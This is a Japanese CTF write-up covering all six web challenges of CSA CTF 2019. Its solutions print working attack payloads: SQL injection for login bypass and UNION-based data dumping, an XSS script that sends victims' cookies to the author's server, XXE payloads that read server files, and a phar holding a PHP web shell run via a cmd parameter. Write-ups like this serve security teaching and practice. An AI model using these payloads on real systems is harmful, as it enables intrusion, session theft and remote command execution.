CSA CTF 2019 Writeup - Web(全問)
CSA CTF 2019のWeb問を全完したのでWriteupを書く。難易度はかなり易しめ。
- CSA Database 1 - Suspicious member
- CSA Database 2 - Darkest Secret
- CSA Portal
- The Outer Space
- Huzzah
- Biscuits Shop
CSA Database 1 - Suspicious member
Question
We have a suspicious user in our system. See if you can find him. http://35.231.36.102:1776
Solution
" or "a"="a
を入力。
シングルクォーテーションではなくダブルクォーテーションなのは珍しい。
CSACTF{0i_0i_Wh0_1s_th1s_guys?}
CSA Database 2 - Darkest Secret
Question
One of our officers is having a dark secret. Can you reveal it? http://35.231.36.102:1777
Solution
CSA Database 1と同じ方法ではフラグは出ない。
" UNION ALL SELECT 1,1,1,1
を入力すると1,1,1,1が表示された。
SQL Injectionの脆弱性自体は残っているようだ。
テーブル名を確認する。
" UNION ALL SELECT 1,1,table_schema,table_name from information_schema.tables #
列名を確認する。
" UNION ALL SELECT 1,1,1,column_name from information_schema.columns where table_name='csa_officers' #
怪しい列を発見したので表示する。
" UNION ALL SELECT 1,1,1,darkest_secret from csa_officers #
CSACTF{0h_n0!Y0u_F0und_My_S3cr3t!}
CSA Portal
Question
Are you a member of CSA yet? Sign up here: http://35.231.36.102:1779/
Solution
サインアップ、ログインすると、メッセージを投稿する画面が表示される。
<script>location.href = "http://<myserver>/?" + document.cookie</script>
を投稿。
しばらくすると、
GET /?PHPSESSID=6j48gtv0fktfn0cuqtvsl8g2u7
にアクセスが来た。
Cookieにセットしてアクセスするとフラグを得られた。
CSACTF{blu3_1s_such_4_l4zy_sys_4dm1n!}
The Outer Space
Question
Our new authentication portal was just launched. Is it secured? http://35.231.36.102:1774/
Solution
送信ボタンを押下すると、xxe.phpにPOSTする。
ファイル名をxxeにするとか、サービス過剰すぎない?
以下のXXEペイロードを送信して、phpのソースコードを得る。
<!DOCTYPE hoge [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <creds> <user>&xxe;</user> <pass>password</pass> </creds>
<?php /** * This funtion will take a pattern and a folder as the argument and go thru it(recursivly if needed)and return the list of * all files in that folder. * Link : http://www.bin-co.com/php/scripts/filesystem/ls/ * Arguments : $pattern - The pattern to look out for [OPTIONAL] * $folder - The path of the directory of which's directory list you want [OPTIONAL] * $recursivly - The funtion will traverse the folder tree recursivly if this is true. Defaults to false. [OPTIONAL] * $options - An array of values 'return_files' or 'return_folders' or both * Returns : A flat list with the path of all the files(no folders) that matches the condition given. */ function ls($pattern="*", $folder="", $recursivly=false, $options=array('return_files','return_folders')) { if($folder) { $current_folder = realpath('.'); if(in_array('quiet', $options)) { // If quiet is on, we will suppress the 'no such folder' error if(!file_exists($folder)) return array(); } if(!chdir($folder)) return array(); } $get_files = in_array('return_files', $options); $get_folders= in_array('return_folders', $options); $both = array(); $folders = array(); // Get the all files and folders in the given directory. if($get_files) $both = glob($pattern, GLOB_BRACE + GLOB_MARK); if($recursivly or $get_folders) $folders = glob("*", GLOB_ONLYDIR + GLOB_MARK); //If a pattern is specified, make sure even the folders match that pattern. $matching_folders = array(); if($pattern !== '*') $matching_folders = glob($pattern, GLOB_ONLYDIR + GLOB_MARK); //Get just the files by removing the folders from the list of all files. $all = array_values(array_diff($both,$folders)); if($recursivly or $get_folders) { foreach ($folders as $this_folder) { if($get_folders) { //If a pattern is specified, make sure even the folders match that pattern. if($pattern !== '*') { if(in_array($this_folder, $matching_folders)) array_push($all, $this_folder); } else array_push($all, $this_folder); } if($recursivly) { // Continue calling this function for all the folders $deep_items = ls($pattern, $this_folder, $recursivly, $options); # :RECURSION: foreach ($deep_items as $item) { array_push($all, $this_folder . $item); } } } } if($folder) chdir($current_folder); return $all; } libxml_disable_entity_loader (false); $xmlfile = $_POST['body']; //file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo "<html> <head> <link rel=\"stylesheet\" type=\"text/css\" href=\"./countrylane.css\"></head>"; if ($user == "admin") { if ($pass == "0e1234") { echo "<p> The creds [ $user : $pass ] were correct! </p>"; echo "<br>"; print("<p> You won the directory listing! </p>"); echo "<br>"; $listing = ls("*"); echo "<p>"; print_r($listing); echo "</p>"; } else { echo "Wrong password [ $user : $pass ]"; } } else { echo "<p> Wrong creds [ $user : $pass ] </p>"; } ?>
user/passがadmin/0e1234であることがわかる。
<creds> <user>admin</user> <pass>0e1234</pass> </creds>
を入力するとlsコマンドが実行され、flag.txtが存在することがわかる。
最初と同じ要領でflag.txtを取得。
<!DOCTYPE hoge [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt"> ]> <creds> <user>&xxe;</user> <pass>password</pass> </creds>
CSACTF{1_d0nt_kn0w_wh4t_t0_put_h3r3_lm40}
Huzzah
Question
http://35.231.36.102:1775/
huzzah.php
<?php echo("<html><head><link rel=\"stylesheet\" type=\"text/css\" href=\"./oldtown.css\"></head>"); class Magic { function __destruct() { $a = $this->data; if (strstr($a, ";") !== false or strstr($a, "&") !== false) { echo("<p>[-] That's bad, don't do that" . "</p><br>"); } elseif (strcmp($a, "flag.txt") === 0) { echo("<p>[+] Attempting a magic trick!" . "</p><br>"); include($a); //eval($this->data . ";"); } else { echo("<p>[-] You gave bad input - " . $a . "</p><br>"); } system("rm uploads/magic.phar"); } } include('phar://uploads/magic.phar'); //echo(file_exists("phar://uploads/magic.phar")); echo("<a id=\"huzzah\" href=\"index.html\">GO BACK --</a>"); ?>
Solution
URLにアクセスすると、pharファイルをアップロードする機能と、huzzah.phpへのリンク。
適当にpharファイルを作ってアップロードしてみると、magic.phar
というファイル名でないと受け付けてくれないことがわかる。
次に、huzzah.phpのソースコードを確認すると、以下のincludeを実行している。
include('phar://uploads/magic.phar');
magic.pharをアップロードしてhuzzah.phpにアクセスしたら実行してくれそう。
簡易webshellを含むmagic.pharを作る。
・makephar.php
<?php $phar = new Phar('magic.phar', 0); $phar->addFile('index.php');
・index.php
<?php if($_GET['cmd']) { system($_GET['cmd']); }
root@kali:~/Contest/CTACTF2019# php makephar.php root@kali:~/Contest/CTACTF2019# ll magic.phar -rwxrwxrwx 1 root root 6779 Apr 27 00:24 magic.phar
magic.pharをアップロードして/huzzah.php?cmd=ls
へアクセスしてみる。
flag.txtがあることがわかった。
/huzzah.php?cmd=cat%20flag.txt
へアクセスするとフラグを得られた。
CSACTF{php_1s_full_0f_m@g1c}
Biscuits Shop
Question
Get your biscuits today: http://35.231.36.102:1773/
Solution
アカウントの登録とログインが可能。
適当にアカウントを作成すると、そのまま自動でログインして、以下のメッセージが表示される。
Get your biscuit today Welcome to the The Biscuit Shop. Flag only available for "admin".. Feature coming soon. You are currently logged in as <アカウント名>!
adminでアカウントを作成しようとするが当然失敗。
SQL Injectionの脆弱性を疑い、Usernameが' or 'A'='A
のアカウントを作成したところ、
アカウント作成の失敗のメッセージが表示されず、トップ画面に飛ばされる。
また、ログイン成功したときに得られるCookieのauthパラメータが返却されるという不思議な挙動。
原因を切り分けたところ、アカウント名に=
文字が入っていると、この挙動になることを突き止める。
試しにusernameをadmin=
にしてアカウントを作成してみる。
は・・・?フラグが得られた。
想定解とは異なる気がするが。
CSACTF{4_c00k1e_4_d4y_k33ps_th3_s4dn3ss_4w4y}